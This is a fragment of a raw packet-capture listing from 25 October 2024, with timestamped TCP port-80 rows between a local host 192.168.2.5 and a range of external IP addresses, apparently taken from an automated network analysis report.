Oct 25, 2024 11:17:43.962285042 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962306976 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962328911 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962341070 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962352037 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962385893 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962456942 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962491989 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962513924 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962526083 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962532997 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962559938 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962614059 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962615013 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962650061 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.962682962 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962716103 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962749004 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962754965 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.962766886 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.962766886 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.962785959 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962819099 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962852001 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962861061 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.962861061 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.962884903 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962918997 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962944984 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.962950945 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.962985992 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.963028908 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.963028908 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.963028908 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:17:43.963062048 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963094950 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963123083 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.963145018 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963157892 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963171959 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.963203907 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963237047 CEST	80	52668	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:43.963305950 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963361025 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963393927 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963413000 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963428020 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963438034 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963462114 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963510036 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963630915 CEST	80	52669	198.100.146.220	192.168.2.5
Oct 25, 2024 11:17:43.963660955 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963696003 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963713884 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963728905 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963738918 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963776112 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963816881 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963850975 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.963865995 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963896990 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.963993073 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964029074 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964040995 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.964061975 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964114904 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.964121103 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964154959 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964188099 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964204073 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.964221954 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964227915 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.964335918 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.964483976 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.964550018 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.970191002 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.970210075 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.970264912 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.970328093 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.970858097 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.970870018 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.970882893 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.970912933 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.970946074 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.971120119 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971131086 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971173048 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.971249104 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971297979 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.971384048 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971395969 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971407890 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971436024 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.971468925 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.971486092 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.971555948 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.972225904 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.972275972 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.972320080 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.972332001 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.972388983 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.972388983 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.972425938 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.972474098 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.972634077 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.972683907 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.974134922 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974147081 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974158049 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974195957 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974203110 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.974209070 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974220991 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974225044 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.974234104 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974251032 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.974273920 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.974353075 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974364042 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974375010 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.974426985 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.974426985 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.975151062 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.975162029 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.975172997 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.975203037 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.975214958 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.975228071 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.975248098 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.975274086 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.976210117 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.976304054 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.976310015 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.976335049 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.976353884 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.976386070 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.976543903 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.976557016 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.976598024 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.977189064 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.977236986 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:44.053963900 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:44.059672117 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:44.059756041 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:44.059885025 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:44.065423965 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:44.116770029 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:17:44.122735023 CEST	80	52673	5.196.166.214	192.168.2.5
Oct 25, 2024 11:17:44.123233080 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:17:44.123414040 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:17:44.128989935 CEST	80	52673	5.196.166.214	192.168.2.5
Oct 25, 2024 11:17:44.348803997 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.348869085 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.348901033 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.348916054 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.348916054 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.348967075 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.348980904 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.349016905 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.349020004 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.349056005 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.349093914 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.349128008 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.349123955 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.349152088 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.349164009 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.349198103 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.349200010 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.349248886 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.354976892 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.355010986 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.355036974 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.355050087 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.355060101 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.355092049 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.473265886 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.473315001 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.473351955 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.473387003 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.473423004 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.473459959 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.473525047 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.473566055 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.474467039 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.474628925 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.474694967 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.474781036 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.474816084 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.474852085 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.474874973 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.475310087 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.475405931 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.475493908 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.475531101 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.475548983 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.475570917 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.475630045 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.475673914 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.476190090 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.476260900 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.476357937 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.476392984 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.476427078 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.476453066 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.476480961 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.477057934 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.477092028 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.477127075 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.477133036 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.477133036 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.477175951 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.477201939 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.477268934 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.480364084 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.480398893 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.480412960 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.480432034 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.480442047 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.480474949 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.498800993 CEST	80	52668	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:44.498867035 CEST	52668	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:44.512187004 CEST	80	52611	96.127.180.42	192.168.2.5
Oct 25, 2024 11:17:44.514029026 CEST	52611	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:17:44.536354065 CEST	80	52668	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:44.538151979 CEST	52668	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:44.590548992 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.590642929 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.590801001 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.590964079 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.590995073 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.591049910 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.591049910 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.591888905 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.591941118 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.591958046 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.591978073 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.592015028 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.592015028 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.592087984 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.592120886 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.592154980 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.592154026 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.592175961 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.592222929 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.596132040 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596184015 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596220016 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596251965 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596302986 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596328974 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596335888 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596366882 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596395969 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596429110 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596451998 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596462965 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596473932 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596498013 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596530914 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.596539021 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596564054 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.596616030 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.596621990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.596651077 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.596673965 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.596693039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.596787930 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596821070 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596832991 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596859932 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596860886 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596894979 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596899986 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596930027 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596940994 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.596965075 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:44.596966028 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.597006083 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:44.645591974 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:17:44.646169901 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:44.679069996 CEST	52668	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:44.684406996 CEST	80	52668	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:44.708491087 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.708527088 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.708563089 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.708630085 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.708630085 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.708982944 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709050894 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709104061 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709208012 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709252119 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709471941 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709522963 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709528923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709558010 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709590912 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709599972 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709599972 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709625959 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709667921 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709667921 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.709678888 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:44.709733009 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:44.709943056 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.709976912 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710011005 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710040092 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710040092 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710196972 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710441113 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710475922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710483074 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710510969 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710545063 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710552931 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710552931 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710580111 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.710619926 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.710619926 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.711277962 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.711338043 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.711394072 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.711426973 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.711441040 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.711462021 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.711497068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.711503029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.711503029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.712265015 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.714092970 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.714152098 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.714490891 CEST	80	52664	104.26.10.81	192.168.2.5
